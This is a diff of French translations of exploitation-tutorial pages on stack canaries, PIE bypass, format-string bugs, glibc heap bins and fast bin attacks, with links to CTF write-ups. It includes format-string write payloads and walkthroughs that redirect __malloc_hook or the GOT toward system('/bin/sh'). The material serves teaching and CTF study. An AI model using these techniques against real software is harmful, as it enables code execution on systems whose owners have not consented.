- Utiliser une vulnérabilité de **lecture arbitraire** telle que [**chaîne de format**](../../format-strings/index.html) pour divulguer une adresse du binaire (par exemple, depuis la pile, comme dans la technique précédente) pour obtenir la base du binaire et utiliser des décalages à partir de là. [**Trouvez un exemple ici**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
- Utiliser une vulnérabilité de **lecture arbitraire** telle que [**format string**](../../format-strings/index.html) pour divulguer une adresse du binaire (par exemple, depuis la pile, comme dans la technique précédente) pour obtenir la base du binaire et utiliser des décalages à partir de là. [**Trouvez un exemple ici**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -12,7 +12,7 @@
|
||||
|
||||
Ce mécanisme place un **canary** avant le **EBP**, et réorganise les variables locales pour positionner les tampons à des adresses mémoire plus élevées, les empêchant d'écraser d'autres variables. Il copie également en toute sécurité les arguments passés sur la pile au-dessus des variables locales et utilise ces copies comme arguments. Cependant, il ne protège pas les tableaux de moins de 8 éléments ou les tampons dans une structure utilisateur.
|
||||
|
||||
Le **canary** est un nombre aléatoire dérivé de `/dev/urandom` ou d'une valeur par défaut de `0xff0a0000`. Il est stocké dans **TLS (Thread Local Storage)**, permettant aux espaces mémoire partagés entre les threads d'avoir des variables globales ou statiques spécifiques au thread. Ces variables sont initialement copiées à partir du processus parent, et les processus enfants peuvent modifier leurs données sans affecter le parent ou les frères et sœurs. Néanmoins, si un **`fork()` est utilisé sans créer un nouveau canary, tous les processus (parent et enfants) partagent le même canary**, le rendant vulnérable. Sur l'architecture **i386**, le canary est stocké à `gs:0x14`, et sur **x86_64**, à `fs:0x28`.
|
||||
Le **canary** est un nombre aléatoire dérivé de `/dev/urandom` ou une valeur par défaut de `0xff0a0000`. Il est stocké dans **TLS (Thread Local Storage)**, permettant aux espaces mémoire partagés entre les threads d'avoir des variables globales ou statiques spécifiques au thread. Ces variables sont initialement copiées à partir du processus parent, et les processus enfants peuvent modifier leurs données sans affecter le parent ou les frères et sœurs. Néanmoins, si un **`fork()` est utilisé sans créer un nouveau canary, tous les processus (parent et enfants) partagent le même canary**, le rendant vulnérable. Sur l'architecture **i386**, le canary est stocké à `gs:0x14`, et sur **x86_64**, à `fs:0x28`.
|
||||
|
||||
Cette protection locale identifie les fonctions avec des tampons vulnérables aux attaques et injecte du code au début de ces fonctions pour placer le canary, et à la fin pour vérifier son intégrité.
|
||||
|
||||
@ -29,7 +29,7 @@ Dans les binaires `x86`, le cookie canary est un **`0x4`** byte dword. Les **tro
|
||||
|
||||
## Contournements
|
||||
|
||||
**Fuir le canary** et ensuite l'écraser (par exemple, débordement de tampon) avec sa propre valeur.
|
||||
**Fuir le canary** puis l'écraser (par exemple, débordement de tampon) avec sa propre valeur.
|
||||
|
||||
- Si le **canary est forké dans des processus enfants**, il pourrait être possible de **brute-forcer** un octet à la fois :
|
||||
|
||||
|
@ -8,9 +8,9 @@ Imaginez une situation où un **programme vulnérable** à un débordement de pi
|
||||
|
||||
Ensuite, l'attaquant **appelle la fonctionnalité puts** au milieu de la charge utile qui va **imprimer tout le canary** (sauf le premier octet nul).
|
||||
|
||||
Avec cette information, l'attaquant peut **concevoir et envoyer une nouvelle attaque** en connaissant le canary (dans la **même session de programme**).
|
||||
Avec cette info, l'attaquant peut **concevoir et envoyer une nouvelle attaque** en connaissant le canary (dans la **même session de programme**).
|
||||
|
||||
Évidemment, cette tactique est très **restrictive** car l'attaquant doit être capable de **imprimer** le **contenu** de sa **charge utile** pour **exfiltrer** le **canary** et ensuite être capable de créer une nouvelle charge utile (dans la **même session de programme**) et **envoyer** le **vrai débordement de tampon**.
|
||||
Évidemment, cette tactique est très **restrictive** car l'attaquant doit être capable d'**imprimer** le **contenu** de sa **charge utile** pour **exfiltrer** le **canary** et ensuite être capable de créer une nouvelle charge utile (dans la **même session de programme**) et **envoyer** le **vrai débordement de tampon**.
|
||||
|
||||
**Exemples CTF :**
|
||||
|
||||
|
@ -9,7 +9,7 @@ En C, **`printf`** est une fonction qui peut être utilisée pour **imprimer** u
|
||||
|
||||
D'autres fonctions vulnérables sont **`sprintf()`** et **`fprintf()`**.
|
||||
|
||||
La vulnérabilité apparaît lorsqu'un **texte d'attaquant est utilisé comme premier argument** de cette fonction. L'attaquant pourra créer une **entrée spéciale abusant** des capacités de la **chaîne de format printf** pour lire et **écrire des données à n'importe quelle adresse (lisible/écrivable)**. Cela lui permet ainsi d'**exécuter du code arbitraire**.
|
||||
La vulnérabilité apparaît lorsqu'un **texte d'attaquant est utilisé comme premier argument** de cette fonction. L'attaquant pourra créer une **entrée spéciale abusant** des capacités de **format de printf** pour lire et **écrire des données à n'importe quelle adresse (lisible/écrivable)**. Cela lui permet ainsi d'**exécuter du code arbitraire**.
|
||||
|
||||
#### Formatters:
|
||||
```bash
|
||||
@ -69,7 +69,7 @@ et lire directement le quatrième.
|
||||
Remarquez que l'attaquant contrôle le paramètre `printf`, **ce qui signifie essentiellement que** son entrée sera dans la pile lorsque `printf` est appelé, ce qui signifie qu'il pourrait écrire des adresses mémoire spécifiques dans la pile.
|
||||
|
||||
> [!CAUTION]
|
||||
> Un attaquant contrôlant cette entrée pourra **ajouter des adresses arbitraires dans la pile et faire en sorte que `printf` y accède**. Dans la section suivante, il sera expliqué comment utiliser ce comportement.
|
||||
> Un attaquant contrôlant cette entrée, sera capable d'**ajouter des adresses arbitraires dans la pile et de faire en sorte que `printf` y accède**. Dans la section suivante, il sera expliqué comment utiliser ce comportement.
|
||||
|
||||
## **Lecture Arbitraire**
|
||||
|
||||
@ -142,7 +142,7 @@ Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 99
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Cependant, notez qu'en général, pour écrire une adresse telle que `0x08049724` (qui est un énorme nombre à écrire d'un coup), **on utilise `$hn`** au lieu de `$n`. Cela permet de **n'écrire que 2 octets**. Par conséquent, cette opération est effectuée deux fois, une fois pour les 2 octets les plus élevés de l'adresse et une autre fois pour les plus bas.
|
||||
Cependant, notez qu'en général, pour écrire une adresse telle que `0x08049724` (qui est un énorme nombre à écrire d'un coup), **on utilise `$hn`** au lieu de `$n`. Cela permet de **n'écrire que 2 octets**. Par conséquent, cette opération est effectuée deux fois, une pour les 2 octets les plus élevés de l'adresse et une autre fois pour les plus bas.
|
||||
|
||||
Par conséquent, cette vulnérabilité permet de **tout écrire à n'importe quelle adresse (écriture arbitraire).**
|
||||
|
||||
@ -155,8 +155,8 @@ Dans cet exemple, l'objectif sera de **surcharger** l'**adresse** d'une **foncti
|
||||
Nous allons **surcharger** une **fonction** qui **reçoit** ses **arguments** de l'**utilisateur** et **pointer** vers la **fonction** **`system`**.\
|
||||
Comme mentionné, pour écrire l'adresse, généralement 2 étapes sont nécessaires : Vous **écrivez d'abord 2 octets** de l'adresse puis les autres 2. Pour ce faire, **`$hn`** est utilisé.
|
||||
|
||||
- **HOB** est appelé pour les 2 octets les plus élevés de l'adresse
|
||||
- **LOB** est appelé pour les 2 octets les plus bas de l'adresse
|
||||
- **HOB** est appelé pour les 2 octets supérieurs de l'adresse
|
||||
- **LOB** est appelé pour les 2 octets inférieurs de l'adresse
|
||||
|
||||
Ensuite, en raison de la façon dont fonctionne la chaîne de format, vous devez **écrire d'abord le plus petit** de \[HOB, LOB] puis l'autre.
|
||||
|
||||
@ -174,7 +174,6 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
||||
|
||||
Vous pouvez trouver un **modèle** pour préparer un exploit pour ce type de vulnérabilité dans :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
|
@ -48,7 +48,7 @@ Les sous-tas servent de réserves de mémoire pour les arènes secondaires dans
|
||||
3. **Expansion progressive avec `mprotect`** :
|
||||
- La région de mémoire réservée est initialement marquée comme `PROT_NONE`, indiquant que le noyau n'a pas besoin d'allouer de mémoire physique à cet espace pour le moment.
|
||||
- Pour "faire croître" le sous-tas, le gestionnaire de tas utilise `mprotect` pour changer les permissions de page de `PROT_NONE` à `PROT_READ | PROT_WRITE`, incitant le noyau à allouer de la mémoire physique aux adresses précédemment réservées. Cette approche étape par étape permet au sous-tas de s'étendre au besoin.
|
||||
- Une fois que l'ensemble du sous-tas est épuisé, le gestionnaire de tas crée un nouveau sous-tas pour continuer l'allocation.
|
||||
- Une fois que tout le sous-tas est épuisé, le gestionnaire de tas crée un nouveau sous-tas pour continuer l'allocation.
|
||||
|
||||
### heap_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
@ -74,12 +74,12 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||
|
||||
**Chaque tas** (arène principale ou autres arènes de threads) a une **structure `malloc_state`.**\
|
||||
Il est important de noter que la **structure `malloc_state` de l'arène principale** est une **variable globale dans la libc** (donc située dans l'espace mémoire de la libc).\
|
||||
Dans le cas des **structures `malloc_state`** des tas de threads, elles sont situées **dans le "tas" propre au thread**.
|
||||
Dans le cas des **structures `malloc_state`** des tas de threads, elles sont situées **à l'intérieur du "tas" de leur propre thread**.
|
||||
|
||||
Il y a des choses intéressantes à noter à partir de cette structure (voir le code C ci-dessous) :
|
||||
|
||||
- `__libc_lock_define (, mutex);` est là pour s'assurer que cette structure du tas est accessible par 1 thread à la fois
|
||||
- Drapeaux :
|
||||
- Flags :
|
||||
|
||||
- ```c
|
||||
#define NONCONTIGUOUS_BIT (2U)
|
||||
@ -175,8 +175,8 @@ De plus, lorsque disponible, les données utilisateur sont également utilisées
|
||||
|
||||
- **`fd`** : Pointeur vers le morceau suivant
|
||||
- **`bk`** : Pointeur vers le morceau précédent
|
||||
- **`fd_nextsize`** : Pointeur vers le premier morceau dans la liste qui est plus petit que lui-même
|
||||
- **`bk_nextsize` :** Pointeur vers le premier morceau dans la liste qui est plus grand que lui-même
|
||||
- **`fd_nextsize`** : Pointeur vers le premier morceau de la liste qui est plus petit que lui-même
|
||||
- **`bk_nextsize`** : Pointeur vers le premier morceau de la liste qui est plus grand que lui-même
|
||||
|
||||
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
@ -206,7 +206,7 @@ Pour ces conversions, ces fonctions sont utilisées :
|
||||
```
|
||||
### Alignement & taille minimale
|
||||
|
||||
Le pointeur vers le morceau et `0x0f` doivent être 0.
|
||||
Le pointeur vers le chunk et `0x0f` doivent être 0.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
|
||||
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
|
||||
@ -483,9 +483,9 @@ et à l'intérieur, on peut trouver quelques chunks :
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Allocations/Frees de Mémoire
|
||||
## Bins & Allocations/Désallocations de Mémoire
|
||||
|
||||
Vérifiez ce que sont les bins, comment ils sont organisés et comment la mémoire est allouée et libérée dans :
|
||||
Vérifiez ce que sont les bins, comment ils sont organisés et comment la mémoire est allouée et désallouée dans :
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
|
@ -6,17 +6,17 @@
|
||||
|
||||
Afin d'améliorer l'efficacité de la manière dont les chunks sont stockés, chaque chunk n'est pas seulement dans une liste chaînée, mais il existe plusieurs types. Ce sont les bins et il y a 5 types de bins : [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) petits bins, 63 grands bins, 1 bin non trié, 10 bins rapides et 64 bins tcache par thread.
|
||||
|
||||
L'adresse initiale de chaque bin non trié, petit et grand se trouve dans le même tableau. L'index 0 est inutilisé, 1 est le bin non trié, les bins 2-64 sont des petits bins et les bins 65-127 sont des grands bins.
|
||||
L'adresse initiale de chaque bin non trié, petit et grand est à l'intérieur du même tableau. L'index 0 est inutilisé, 1 est le bin non trié, les bins 2-64 sont des petits bins et les bins 65-127 sont des grands bins.
|
||||
|
||||
### Tcache (Per-Thread Cache) Bins
|
||||
|
||||
Bien que les threads essaient d'avoir leur propre heap (voir [Arenas](bins-and-memory-allocations.md#arenas) et [Subheaps](bins-and-memory-allocations.md#subheaps)), il est possible qu'un processus avec beaucoup de threads (comme un serveur web) **finisse par partager le heap avec d'autres threads**. Dans ce cas, la solution principale est l'utilisation de **lockers**, ce qui peut **ralentir considérablement les threads**.
|
||||
|
||||
Par conséquent, un tcache est similaire à un bin rapide par thread en ce sens qu'il s'agit d'une **liste chaînée simple** qui ne fusionne pas les chunks. Chaque thread a **64 bins tcache chaînés**. Chaque bin peut avoir un maximum de [7 chunks de même taille](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) allant de [24 à 1032B sur les systèmes 64 bits et de 12 à 516B sur les systèmes 32 bits](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
|
||||
Par conséquent, un tcache est similaire à un bin rapide par thread en ce sens qu'il s'agit d'une **liste chaînée simple** qui ne fusionne pas les chunks. Chaque thread a **64 bins tcache chaînés**. Chaque bin peut avoir un maximum de [7 chunks de même taille](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) allant de [24 à 1032B sur des systèmes 64 bits et de 12 à 516B sur des systèmes 32 bits](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
|
||||
|
||||
**Lorsqu'un thread libère** un chunk, **s'il n'est pas trop grand** pour être alloué dans le tcache et que le bin tcache respectif **n'est pas plein** (déjà 7 chunks), **il sera alloué là-dedans**. S'il ne peut pas aller dans le tcache, il devra attendre le verrou du heap pour pouvoir effectuer l'opération de libération globalement.
|
||||
**Lorsqu'un thread libère** un chunk, **s'il n'est pas trop grand** pour être alloué dans le tcache et que le bin tcache respectif **n'est pas plein** (déjà 7 chunks), **il sera alloué là-dedans**. S'il ne peut pas aller dans le tcache, il devra attendre que le verrou du heap soit disponible pour pouvoir effectuer l'opération de libération globalement.
|
||||
|
||||
Lorsqu'un **chunk est alloué**, s'il y a un chunk libre de la taille nécessaire dans le **Tcache, il l'utilisera**, sinon, il devra attendre le verrou du heap pour pouvoir en trouver un dans les bins globaux ou en créer un nouveau.\
|
||||
Lorsqu'un **chunk est alloué**, s'il y a un chunk libre de la taille nécessaire dans le **Tcache, il l'utilisera**, sinon, il devra attendre que le verrou du heap soit disponible pour pouvoir en trouver un dans les bins globaux ou en créer un nouveau.\
|
||||
Il y a aussi une optimisation, dans ce cas, tout en ayant le verrou du heap, le thread **remplira son Tcache avec des chunks de heap (7) de la taille demandée**, donc s'il en a besoin de plus, il les trouvera dans le Tcache.
|
||||
|
||||
<details>
|
||||
@ -102,7 +102,7 @@ tcache_entry *entries[TCACHE_MAX_BINS];
|
||||
```
|
||||
</details>
|
||||
|
||||
La fonction `__tcache_init` est la fonction qui crée et alloue l'espace pour l'objet `tcache_perthread_struct`.
|
||||
La fonction `__tcache_init` est la fonction qui crée et alloue l'espace pour l'objet `tcache_perthread_struct`
|
||||
|
||||
<details>
|
||||
|
||||
@ -149,7 +149,7 @@ memset (tcache, 0, sizeof (tcache_perthread_struct));
|
||||
|
||||
#### Indexes Tcache
|
||||
|
||||
Le tcache a plusieurs bins en fonction de la taille et des pointeurs initiaux vers le **premier chunk de chaque index et la quantité de chunks par index sont situés à l'intérieur d'un chunk**. Cela signifie qu'en localisant le chunk avec cette information (généralement le premier), il est possible de trouver tous les points initiaux du tcache et la quantité de chunks Tcache.
|
||||
Le tcache a plusieurs bins en fonction de la taille et les pointeurs initiaux vers le **premier chunk de chaque index et la quantité de chunks par index sont situés à l'intérieur d'un chunk**. Cela signifie qu'en localisant le chunk avec cette information (généralement le premier), il est possible de trouver tous les points initiaux du tcache et la quantité de chunks Tcache.
|
||||
|
||||
### Fast bins
|
||||
|
||||
@ -253,7 +253,7 @@ Notez que si un morceau plus grand est divisé en 2 moitiés et que le reste est
|
||||
Ainsi, le unsorted bin est un moyen d'accélérer l'allocation de mémoire en réutilisant rapidement la mémoire récemment libérée et en réduisant le besoin de recherches et de fusions chronophages.
|
||||
|
||||
> [!CAUTION]
|
||||
> Notez que même si les morceaux appartiennent à différentes catégories, si un morceau disponible heurte un autre morceau disponible (même s'ils appartiennent à l'origine à des bins différents), ils seront fusionnés.
|
||||
> Notez que même si les morceaux sont de différentes catégories, si un morceau disponible heurte un autre morceau disponible (même s'ils appartiennent à l'origine à des bins différents), ils seront fusionnés.
|
||||
|
||||
<details>
|
||||
|
||||
@ -311,7 +311,7 @@ Fastbins[idx=6, size=0x80] 0x00
|
||||
|
||||
Les petits bins sont plus rapides que les grands bins mais plus lents que les bins rapides.
|
||||
|
||||
Chaque bin des 62 aura **des chunks de la même taille** : 16, 24, ... (avec une taille maximale de 504 octets en 32 bits et 1024 en 64 bits). Cela aide à la rapidité pour trouver le bin où un espace doit être alloué et pour insérer et retirer des entrées de ces listes.
|
||||
Chaque bin des 62 aura des **chunks de la même taille** : 16, 24, ... (avec une taille maximale de 504 octets en 32 bits et 1024 en 64 bits). Cela aide à la rapidité pour trouver le bin où un espace doit être alloué et pour insérer et supprimer des entrées dans ces listes.
|
||||
|
||||
Voici comment la taille du petit bin est calculée en fonction de l'index du bin :
|
||||
|
||||
@ -394,11 +394,11 @@ Fastbins[idx=6, size=0x80] 0x00
|
||||
|
||||
### Bins larges
|
||||
|
||||
Contrairement aux petits bins, qui gèrent des morceaux de tailles fixes, chaque **bin large gère une gamme de tailles de morceaux**. Cela est plus flexible, permettant au système d'accommoder **diverses tailles** sans avoir besoin d'un bin séparé pour chaque taille.
|
||||
Contrairement aux petits bins, qui gèrent des morceaux de tailles fixes, chaque **grand bin gère une gamme de tailles de morceaux**. Cela est plus flexible, permettant au système d'accommoder **diverses tailles** sans avoir besoin d'un bin séparé pour chaque taille.
|
||||
|
||||
Dans un allocateur de mémoire, les bins larges commencent là où les petits bins se terminent. Les plages pour les bins larges deviennent progressivement plus grandes, ce qui signifie que le premier bin peut couvrir des morceaux de 512 à 576 octets, tandis que le suivant couvre de 576 à 640 octets. Ce schéma se poursuit, le plus grand bin contenant tous les morceaux au-dessus de 1 Mo.
|
||||
Dans un allocateur de mémoire, les grands bins commencent là où les petits bins se terminent. Les plages pour les grands bins deviennent progressivement plus grandes, ce qui signifie que le premier bin peut couvrir des morceaux de 512 à 576 octets, tandis que le suivant couvre de 576 à 640 octets. Ce schéma se poursuit, le plus grand bin contenant tous les morceaux au-dessus de 1 Mo.
|
||||
|
||||
Les bins larges sont plus lents à fonctionner par rapport aux petits bins car ils doivent **trier et rechercher à travers une liste de tailles de morceaux variées pour trouver le meilleur ajustement** pour une allocation. Lorsqu'un morceau est inséré dans un bin large, il doit être trié, et lorsque la mémoire est allouée, le système doit trouver le bon morceau. Ce travail supplémentaire les rend **plus lents**, mais comme les grandes allocations sont moins courantes que les petites, c'est un compromis acceptable.
|
||||
Les grands bins sont plus lents à fonctionner par rapport aux petits bins car ils doivent **trier et rechercher à travers une liste de tailles de morceaux variées pour trouver le meilleur ajustement** pour une allocation. Lorsqu'un morceau est inséré dans un grand bin, il doit être trié, et lorsque la mémoire est allouée, le système doit trouver le bon morceau. Ce travail supplémentaire les rend **plus lents**, mais comme les grandes allocations sont moins courantes que les petites, c'est un compromis acceptable.
|
||||
|
||||
Il y a :
|
||||
|
||||
@ -411,7 +411,7 @@ Il y a :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Code des tailles de bin large</summary>
|
||||
<summary>Code des tailles de grands bins</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
|
||||
@ -451,7 +451,7 @@ Il y a :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ajouter un exemple de gros morceau</summary>
|
||||
<summary>Ajouter un exemple de grande taille</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
@ -519,7 +519,7 @@ the 2 preceding words to be zero during this interval as well.)
|
||||
/* Conveniently, the unsorted bin can be used as dummy top on first call */
|
||||
#define initial_top(M) (unsorted_chunks (M))
|
||||
```
|
||||
Fondamentalement, ceci est un morceau contenant tout le tas actuellement disponible. Lorsqu'un malloc est effectué, s'il n'y a pas de morceau libre disponible à utiliser, ce morceau supérieur réduira sa taille pour donner l'espace nécessaire.\
|
||||
En gros, ceci est un morceau contenant tout le tas actuellement disponible. Lorsqu'un malloc est effectué, s'il n'y a pas de morceau libre disponible à utiliser, ce morceau supérieur réduira sa taille pour donner l'espace nécessaire.\
|
||||
Le pointeur vers le Top Chunk est stocké dans la structure `malloc_state`.
|
||||
|
||||
De plus, au début, il est possible d'utiliser le morceau non trié comme le morceau supérieur.
|
||||
@ -562,9 +562,9 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16
|
||||
```
|
||||
</details>
|
||||
|
||||
### Dernier Reste
|
||||
### Dernière Reste
|
||||
|
||||
Lorsque malloc est utilisé et qu'un morceau est divisé (à partir du bin non trié ou du morceau supérieur par exemple), le morceau créé à partir du reste du morceau divisé est appelé Dernier Reste et son pointeur est stocké dans la structure `malloc_state`.
|
||||
Lorsque malloc est utilisé et qu'un chunk est divisé (par exemple, à partir du bin non trié ou du chunk supérieur), le chunk créé à partir du reste du chunk divisé est appelé Dernière Reste et son pointeur est stocké dans la structure `malloc_state`.
|
||||
|
||||
## Flux d'Allocation
|
||||
|
||||
@ -584,9 +584,9 @@ Consultez :
|
||||
heap-memory-functions/free.md
|
||||
{{#endref}}
|
||||
|
||||
## Vérifications de Sécurité des Fonctions de Tas
|
||||
## Vérifications de Sécurité des Fonctions de Heap
|
||||
|
||||
Vérifiez les vérifications de sécurité effectuées par les fonctions largement utilisées dans le tas dans :
|
||||
Vérifiez les vérifications de sécurité effectuées par les fonctions largement utilisées dans le heap dans :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
@ -118,28 +118,28 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> S'il est possible de remplacer la valeur de la variable globale **`global_max_fast`** par un grand nombre, cela permet de générer des chunks de fast bin de plus grandes tailles, permettant potentiellement d'effectuer des attaques de fast bin dans des scénarios où cela n'était pas possible auparavant. Cette situation est utile dans le contexte de [large bin attack](large-bin-attack.md) et [unsorted bin attack](unsorted-bin-attack.md)
|
||||
> S'il est possible de remplacer la valeur de la variable globale **`global_max_fast`** par un grand nombre, cela permet de générer des chunks de fast bin de plus grandes tailles, permettant potentiellement d'effectuer des attaques de fast bin dans des scénarios où cela n'était pas possible auparavant. Cette situation est utile dans le contexte de l'[attaque de grand bin](large-bin-attack.md) et de l'[attaque de bin non trié](unsorted-bin-attack.md).
|
||||
|
||||
## Exemples
|
||||
|
||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
|
||||
- Il est possible d'allouer des chunks, de les libérer, de lire leur contenu et de les remplir (avec une vulnérabilité de débordement).
|
||||
- **Consolider un chunk pour une fuite d'information** : La technique consiste essentiellement à abuser du débordement pour créer un faux `prev_size` afin qu'un chunk précédent soit placé à l'intérieur d'un plus grand, de sorte que lors de l'allocation du plus grand contenant un autre chunk, il soit possible d'imprimer ses données et de divulguer une adresse à libc (`main_arena+88`).
|
||||
- Il est possible d'allouer des chunks, de les libérer, de lire leur contenu et de les remplir (avec une vulnérabilité de dépassement).
|
||||
- **Consolider un chunk pour une fuite d'information** : La technique consiste essentiellement à abuser du dépassement pour créer un faux `prev_size` afin qu'un chunk précédent soit placé à l'intérieur d'un plus grand, de sorte que lors de l'allocation du plus grand contenant un autre chunk, il soit possible d'imprimer ses données et de fuir une adresse vers libc (`main_arena+88`).
|
||||
- **Écraser le malloc hook** : Pour cela, et en abusant de la situation de chevauchement précédente, il a été possible d'avoir 2 chunks pointant vers la même mémoire. Par conséquent, en les libérant tous les deux (en libérant un autre chunk entre les deux pour éviter les protections), il a été possible d'avoir le même chunk dans le fast bin 2 fois. Ensuite, il a été possible de l'allouer à nouveau, d'écraser l'adresse du chunk suivant pour pointer un peu avant `__malloc_hook` (de sorte qu'il pointe vers un entier que malloc pense être une taille libre - un autre contournement), de l'allouer à nouveau puis d'allouer un autre chunk qui recevra une adresse vers les malloc hooks.\
|
||||
Enfin, un **one gadget** a été écrit là-dedans.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
|
||||
- Il y a un débordement de tas et une utilisation après libération et double libération car lorsqu'un chunk est libéré, il est possible de réutiliser et de relibérer les pointeurs.
|
||||
- Il y a un dépassement de tas et une utilisation après libération et double libération car lorsqu'un chunk est libéré, il est possible de réutiliser et de relibérer les pointeurs.
|
||||
- **Fuite d'information libc** : Il suffit de libérer quelques chunks et ils obtiendront un pointeur vers une partie de l'emplacement de l'arène principale. Comme vous pouvez réutiliser les pointeurs libérés, il suffit de lire cette adresse.
|
||||
- **Attaque de fast bin** : Tous les pointeurs vers les allocations sont stockés dans un tableau, donc nous pouvons libérer quelques chunks de fast bin et dans le dernier écraser l'adresse pour pointer un peu avant ce tableau de pointeurs. Ensuite, allouez quelques chunks de la même taille et nous obtiendrons d'abord le légitime puis le faux contenant le tableau de pointeurs. Nous pouvons maintenant écraser ces pointeurs d'allocation pour faire en sorte que l'adresse GOT de `free` pointe vers `system` et ensuite écrire `"/bin/sh"` dans le chunk 1 pour ensuite appeler `free(chunk1)` qui exécutera à la place `system("/bin/sh")`.
|
||||
- **Attaque de fast bin** : Tous les pointeurs vers les allocations sont stockés dans un tableau, donc nous pouvons libérer quelques chunks de fast bin et dans le dernier écraser l'adresse pour pointer un peu avant ce tableau de pointeurs. Ensuite, allouez quelques chunks de la même taille et nous obtiendrons d'abord le légitime puis le faux contenant le tableau de pointeurs. Nous pouvons maintenant écraser ces pointeurs d'allocation pour faire pointer l'adresse GOT de `free` vers `system` et ensuite écrire `"/bin/sh"` dans le chunk 1 pour ensuite appeler `free(chunk1)` qui exécutera à la place `system("/bin/sh")`.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- Un autre exemple d'abus d'un débordement d'un octet pour consolider des chunks dans le tas non trié et obtenir une fuite d'information libc puis effectuer une attaque de fast bin pour écraser le malloc hook avec une adresse de one gadget.
|
||||
- Un autre exemple d'abus d'un dépassement d'un octet pour consolider des chunks dans le bin non trié et obtenir une fuite d'information libc puis effectuer une attaque de fast bin pour écraser le malloc hook avec une adresse de one gadget.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
|
||||
- Après une fuite d'information en abusant du tas non trié avec un UAF pour divulguer une adresse libc et une adresse PIE, l'exploit de ce CTF a utilisé une attaque de fast bin pour allouer un chunk à un endroit où se trouvaient les pointeurs vers des chunks contrôlés, il était donc possible d'écraser certains pointeurs pour écrire un one gadget dans le GOT.
|
||||
- Vous pouvez trouver une attaque Fast Bin abusée à travers une attaque de tas non trié :
|
||||
- Notez qu'il est courant avant d'effectuer des attaques de fast bin d'abuser des listes de libération pour divulguer des adresses libc/tas (lorsque nécessaire).
|
||||
- Après une fuite d'information en abusant du bin non trié avec un UAF pour fuir une adresse libc et une adresse PIE, l'exploit de ce CTF a utilisé une attaque de fast bin pour allouer un chunk à un endroit où se trouvaient les pointeurs vers des chunks contrôlés, il était donc possible d'écraser certains pointeurs pour écrire un one gadget dans le GOT.
|
||||
- Vous pouvez trouver une attaque Fast Bin abusée à travers une attaque de bin non trié :
|
||||
- Notez qu'il est courant avant d'effectuer des attaques de fast bin d'abuser des listes de libération pour fuir des adresses libc/tas (lorsque nécessaire).
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
- Nous ne pouvons allouer que des chunks de taille supérieure à `0x100`.
|
||||
- Écraser `global_max_fast` en utilisant une attaque de tas non trié (fonctionne 1/16 fois en raison de l'ASLR, car nous devons modifier 12 bits, mais nous devons modifier 16 bits).
|
||||
- Écraser `global_max_fast` en utilisant une attaque de bin non trié (fonctionne 1/16 fois en raison de l'ASLR, car nous devons modifier 12 bits, mais nous devons modifier 16 bits).
|
||||
